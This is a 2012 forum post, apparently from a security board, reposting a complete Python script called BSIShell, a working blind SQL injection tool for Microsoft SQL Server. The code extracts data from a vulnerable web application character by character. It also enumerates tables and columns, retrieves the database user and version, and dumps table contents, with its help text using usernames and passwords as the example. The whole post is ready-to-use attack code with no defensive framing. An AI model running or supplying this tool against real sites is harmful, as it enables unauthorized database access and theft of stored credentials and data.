Active Members Fi8sVrs Posted January 17, 2012 Active Members Report Posted January 17, 2012 #!/usr/bin/env python'''Blind SQL injection Python shellBSIShell is a simple python script that permits blind SQL injection.by Rodrigo Marcos'''import urllib2import urllibimport stringimport sysTRUE_CONDITION = '1=1' # substring((select 'a'),1,1)='a'FALSE_CONDITION = '1=2' # substring((select 'a'),1,1)='b'MAX_LENGTH = 256MAX_NUM = 1024pre = ''post = '' result_true = ''result_false = ''ready = 0def check(): global ready if ready: return 1 else: prepare() return readydef prepare(): global result_true global result_false global ready if pre == '': print '[+] Error: at least "pre" parameter has to be set' ready = 0 return print '[+] Learning true/false results' result_true = dorequest(TRUE_CONDITION) result_false = dorequest(FALSE_CONDITION) #print result_true #print result_false if result_true == result_false: print '[+] Error: I could not identify true/false conditions. The following requests returned the same data:' print '\t - ' + pre + TRUE_CONDITION + post print '\t - ' + pre + FALSE_CONDITION + post #sys.exit(0) ready = 0 return else: print '[+] Retrieved true/false conditions. Ready to start.' ready = 1 returndef dorequest(sql):#this function makes a request and returns the response request = pre + sql + post #print request request = string.replace(request, ' ', '%20') req = urllib2.Request(request) #req.add_header('Host', '172.30.3.230') #req.add_header('Cookie', 'JSESSIONID=8D6286F331B4614B7B60680FDA913112; marathon=ok') try: r = urllib2.urlopen(req) except urllib2.URLError, msg: print "[+] Error: Error requesting URL (%s)" % msg return r.read()def getspace(sqlrequest, position):#This function detects if the the item is a lowercase/uppercase character or a number #return range(32,127) upper = 0 lower = 0 number = 0 request = "ASCII(UPPER(SUBSTRING((" + sqlrequest + "), " + str(position) + ", 1)))= ASCII(SUBSTRING((" + sqlrequest + "), " + str(position) + ', 1))' if dorequest(request)==result_true: upper = 1 request = "ASCII(LOWER(SUBSTRING((" + sqlrequest + "), " + str(position) + ", 1)))= ASCII(SUBSTRING((" + sqlrequest + "), " + str(position) + ', 1))' if dorequest(request)==result_true: lower = 1 if upper and lower: #if upper and lower are true, that means that it is a number or a symbol return range(32, 65) + range(91,97) + range(123,127) elif upper: return range(65,91) else: return range(97,123)def detectend(sqlrequest, position):#this function will detect if the request returns a null request = "ASCII(SUBSTRING((" + sqlrequest + "), " + str(position) + ", 1)) IS NULL" if dorequest(request)==result_true: return 1 else: return 0def getvalue(sqlquery, position, space):#this function searchs a certain position and get they result #We first perform some approximation while len(space)>8: space = approximate(sqlquery, position, space) #We now continue bruteforcing the remaining space for letter in space: request = "ASCII(SUBSTRING((" + sqlquery + "), " + str(position) + ', 1))=' + str(letter) if dorequest(request)==result_true: return chr(letter) return '.' def approximate(sqlquery, position, space): middle = len(space)/2 request = "ASCII(SUBSTRING((" + sqlquery + "), " + str(position) + ', 1))>=' + str(space[middle]) #print request if dorequest(request)==result_true: return space[middle:] # second half else: return space[:middle] # first half########################################################################################################### Low level functions##########################################################################################################def getnumericvalue(sqlquery): if not check(): return for num in range(0,MAX_NUM): request = '(' + sqlquery + ")=" + str(num) if dorequest(request)==result_true: #print str(num) return numdef getstringvalue(sqlquery, show=0, slen = MAX_LENGTH): if not check(): return result = '' for position in range(1,slen+1): if detectend(sqlquery, position): break letter = getvalue(sqlquery, position, getspace(sqlquery, position)) if show: print letter, result += letter return result########################################################################################################### High level functions##########################################################################################################def table_enumeration(): if not check(): return #table enumeration print '[+] Starting table enumeration' sqlquery = 'SELECT COUNT(name) FROM sysobjects WHERE xtype=char(85)' n_tables = getnumericvalue(sqlquery) print '\t [+] Number of tables detected: ' + str(n_tables) tableid = '0' for tablecounter in range(1,n_tables+1): print '\t\t [+] Table ' + str(tablecounter) + ':' sqlquery = 'SELECT cast(MIN(id) as varchar) FROM sysobjects WHERE xtype=char(85) and id>' + tableid tableid = string.replace(getstringvalue(sqlquery), ' ', '') print '\t\t\t ID: ' + tableid #sqlquery = 'select TOP 1 LEN(name) from sysobjects where id=' + tableid + ' AND xtype=char(85)' #bi.getnumericvalue(sqlquery) sqlquery = 'select name from sysobjects where id=' + tableid tablename = string.replace(getstringvalue(sqlquery), ' ', '') print '\t\t\t Name: ' + tablename sqlquery = 'SELECT COUNT(*) FROM ' + tablename nrows = getnumericvalue(sqlquery) print '\t\t\t # Rows: ' + str(nrows) sqlquery = 'SELECT COUNT(name) FROM syscolumns WHERE id=' + tableid ncols = getnumericvalue(sqlquery) print '\t\t\t # Cols: ' + str(ncols) # Column enumeration colid = 0 for colcounter in range(1, ncols+1): sqlquery = 'SELECT MIN(colid) FROM syscolumns WHERE colid > ' + str(colid) + ' AND id=' + tableid colid = getnumericvalue(sqlquery) sqlquery = 'SELECT name FROM syscolumns where id=' + tableid + ' AND colid=' + str(colid) col = getstringvalue(sqlquery) print '\t\t\t\t - ' + coldef table_content(table, colid, columns): if not check(): return print '[+] Starting table content retrieval' print '\t [+] Table: ' + table print '\t [+] Column ID: ' + colid print '\t [+] Target Cols: ' + str(columns) sqlquery = 'SELECT COUNT(' + colid + ') FROM ' + table nrows = getnumericvalue(sqlquery) print '\t\t\t # Rows: ' + str(nrows) if nrows>0: sqlquery = 'SELECT MIN(' + colid + ') FROM ' + table mincolid = getnumericvalue(sqlquery) - 1 for rowcounter in range(1, nrows + 1): sqlquery = 'SELECT MIN(' + colid + ') FROM ' + table + ' WHERE ' + colid + ' > ' + str(mincolid) mincolid = getnumericvalue(sqlquery) result = '\t\t\t\t' + str(mincolid) + '.- ' for column in columns: sqlquery = 'SELECT ' + column + ' FROM ' + table + ' WHERE ' + colid + ' = ' + str(mincolid) col = getstringvalue(sqlquery) result += ' \t ' + col print resultdef version(): if not check(): return print '[+] Starting version retrieval' print '[+] As this takes a while, results will be shown as they are discovered' sqlquery = 'select @@version' result = getstringvalue(sqlquery, 1) print print resultdef user(): if not check(): return print '[+] Starting user retrieval' #For some reason, we need to detect length first as it doesn't respond with nulls sqlquery = 'select LEN(a.loginame) from master..sysprocesses as a where a.spid=@@SPID' userlen = getnumericvalue(sqlquery) sqlquery = 'select a.loginame from master..sysprocesses as a where a.spid=@@SPID' loginname = getstringvalue(sqlquery,0,userlen) sqlquery = 'select LEN(user)' userlen = getnumericvalue(sqlquery) sqlquery = 'select user' user = getstringvalue(sqlquery,0,userlen) print '[+] User: ' + loginname + ' (' + user + ')'def help(): print '''Blind SQL Injection ShellPreparation: - Set the pre and post parameters eg. pre = "http://vulnerable/id=1' and " eg. post = " or '1'='2"High Level Functions: - user() - Displays the database user - version() - Displays the version of the database server - table_enumeration() - Displays database structure - table_content(table, id_column, colummns) - Displays the content on the database eg. table_content('users', 'id', ['name', 'password'])Low Level Functions: - getnumericvalue(sqlquery) - Returns a numeric value from the database eg. getnumericvalue('select LEN(user)') - getstringvalue(sqlquery, [verbose],[length]) - Returns a string value from the database eg. getstringvalue('select @@version')Others: - help() - This help output - quit() - Quit '''def quit(): sys.exit(0)########################################################################################################### Main##########################################################################################################if __name__ == '__main__': import code banner = 'Blind SQL injection shell' code.interact(banner=banner, local=globals())mirrorsource: secforce.com Quote